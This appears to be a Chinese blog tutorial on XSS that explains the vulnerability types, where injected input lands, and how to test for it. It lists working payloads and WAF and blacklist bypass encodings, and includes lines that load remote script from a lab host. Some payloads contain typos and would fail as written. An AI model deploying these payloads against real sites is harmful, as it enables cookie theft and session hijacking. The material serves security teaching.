boxmoe_header_banner_img

⋅無⋅限⋅進⋅步⋅

加载中

文章导读

常见Web漏洞


avatar
yuhui 2025年10月20日 33

常见Web漏洞

BAJIXSS

Javascript

简介

1744001095584-4731347f-97f1-47e0-9991-1a63f12307ce.png1744001103998-59b0d3d2-d7b6-4bfc-85e2-1a95683c6b35.png

1744001135044-ee930de2-f8c6-4751-8b69-e8fe0915b7cf.png

浏览器限制Javascript的策略

同源策略

一个网站的资源只有该来自网站的代码才能进行访问

同源条件:

相同协议

相同域名

相同端口号

CSP

Content-Seecurity-Policy元标记允许您定义资源的加载位置,防止浏览器从任何其他位置加载数据,从哪儿降低XSS次攻击的风险,使得攻击这更难将恶意代码注入到网站

dufault-src

script-src

style-src

实现跨源访问

嵌入远程资源<img>,<script src=><iframe>

利用ajax进行表单发送(但是无法读取回应信息)和网页跳转

<script>
  //向服务器请求信息
  ajax = new XMLHttpRequest()
  ajax.open("GET","http://10.0.2.5:8000/hello.txt",true)
  ajax.send()
  ajax.reponse
</script>

XSS被称为跨站脚本攻击,由于和CSS重名 改为XSS

主要利用javascript,它可以非常灵活操作html、css和浏览器

xss上浏览器渲染到网页代码中含有用户控制到输入,用户输入没有被过滤,将恶意javascrpt代码注入到网页中,达到攻击效果

!:在生产环境中测试,使用扫描器到情况下,要注意提交到服务到表单插入xss payload,可能会造成dirty data的产生,会对其他用户造成影响,测试前应与系统侧沟通,按照测试规范进行测试

XSS危害

盗取各种用户账号

窃取用户Cookie 冒充用户身份进入网站

劫持用户Session,执行操作

刷流量,执行弹窗广告

传播蠕虫病毒

·····

XSS类别

反射型XSS

payload经服务器响应到前段页面,浏览器解析XSSpayload,触发XSS漏洞

常见位置

搜索框,用户登录

特点

非持久性,参数跨站脚本

利用

窃取用户Cookie或进行钓鱼诈骗

1744001862309-5a7f798e-2205-4fb9-b67a-7cb995065d72.png

存储型XSS

payload请求至服务端,服务端保存XSSpayload,响应到公共前段界面

常见位置

留言板,评论,博客日志,文件上传

特点

持久性跨站脚本,更具威胁

利用

渗透网站,挂马,蠕虫病毒,钓鱼

DOM型XSS

XSSpayload不经后端服务端,经前端js直接操作DOM注入XSSpayload

常见位置

翻译输入框

特点

非持久化

利用

重定向

类型区别

1744002033967-7028c06b-eb9c-481a-897a-41e7b7a50b55.png

测试方法

查看用户到输入如何存在于源代码中

如果输入不在HTML标签中,可以尝试如下payload

1744002078556-2cebfb18-a3fc-442c-a321-595a102d93a9.png

<script>alert(window.origin)</script>遇到iframe,该方式可以检测出代码实际运行位置

<script>console.log(window.origin)</script>针对存储型XSS

<img src=x oneroor=alert('XSS');><svg onload=alert(1)>

<script src="http://10.0.2.5:8080/name.js"></script>如无回显

<plaintext>标签内到所有内容 按照HTML源代码方式显示

{{7*7}}检测是否漏洞为SSTI

用户输入在HTML标签中1744002352110-c53d7cbe-3695-4438-8dab-e7af8025e4f3.png

尝试跳出标签

"><script>alert(1)</script>

无法跳出标签,尝试跳出属性

"onerrot="alert(1)

当前标签无可运行Javascript属性

"accesskey="x onclick="alert(1)" x="

无法跳出当前属性,则在当前属性尝试插入JavaScript代码

<a =href="javaScript:alert(1)">

用户输入在JavaScript中

1744002544346-c7dc0285-e95b-44a8-820b-7f02792a1f4d.png

尝试跳出Script标签

</script><script>alert(1)</script>

跳出当前字符

'-alert(1)-'

';alert(1)//

自动化工具

Nessus

Burp suite Scanner

XSStrike

Easy XSS

代码审计

前端代码

后端代码(如有权限)1744002599715-a5be8ab8-83b2-49ac-927f-4c04b97c9afe.png

XSS黑名单绕过

需要绕过WAF和黑名单来检测XSS

可以使用的技巧

变化大小写

<sCRipT>alert("xss")</sCRipT>

绕过""

<script>alert('xss')</script>

<script>alert(/xss/.source)</script>

<script>alert(String.fromCharCode(120,115,115))</script>

<script>eval(8680349..toString(30))(43804..toString(36))</script>

绕过空格

<script/**/src="http://10.0.2.5:8080/my.js"></script>

绕过()

<script>alert1</script>

<script>eval.call${‘alertx2821x29’}</script>

绕过

插入代码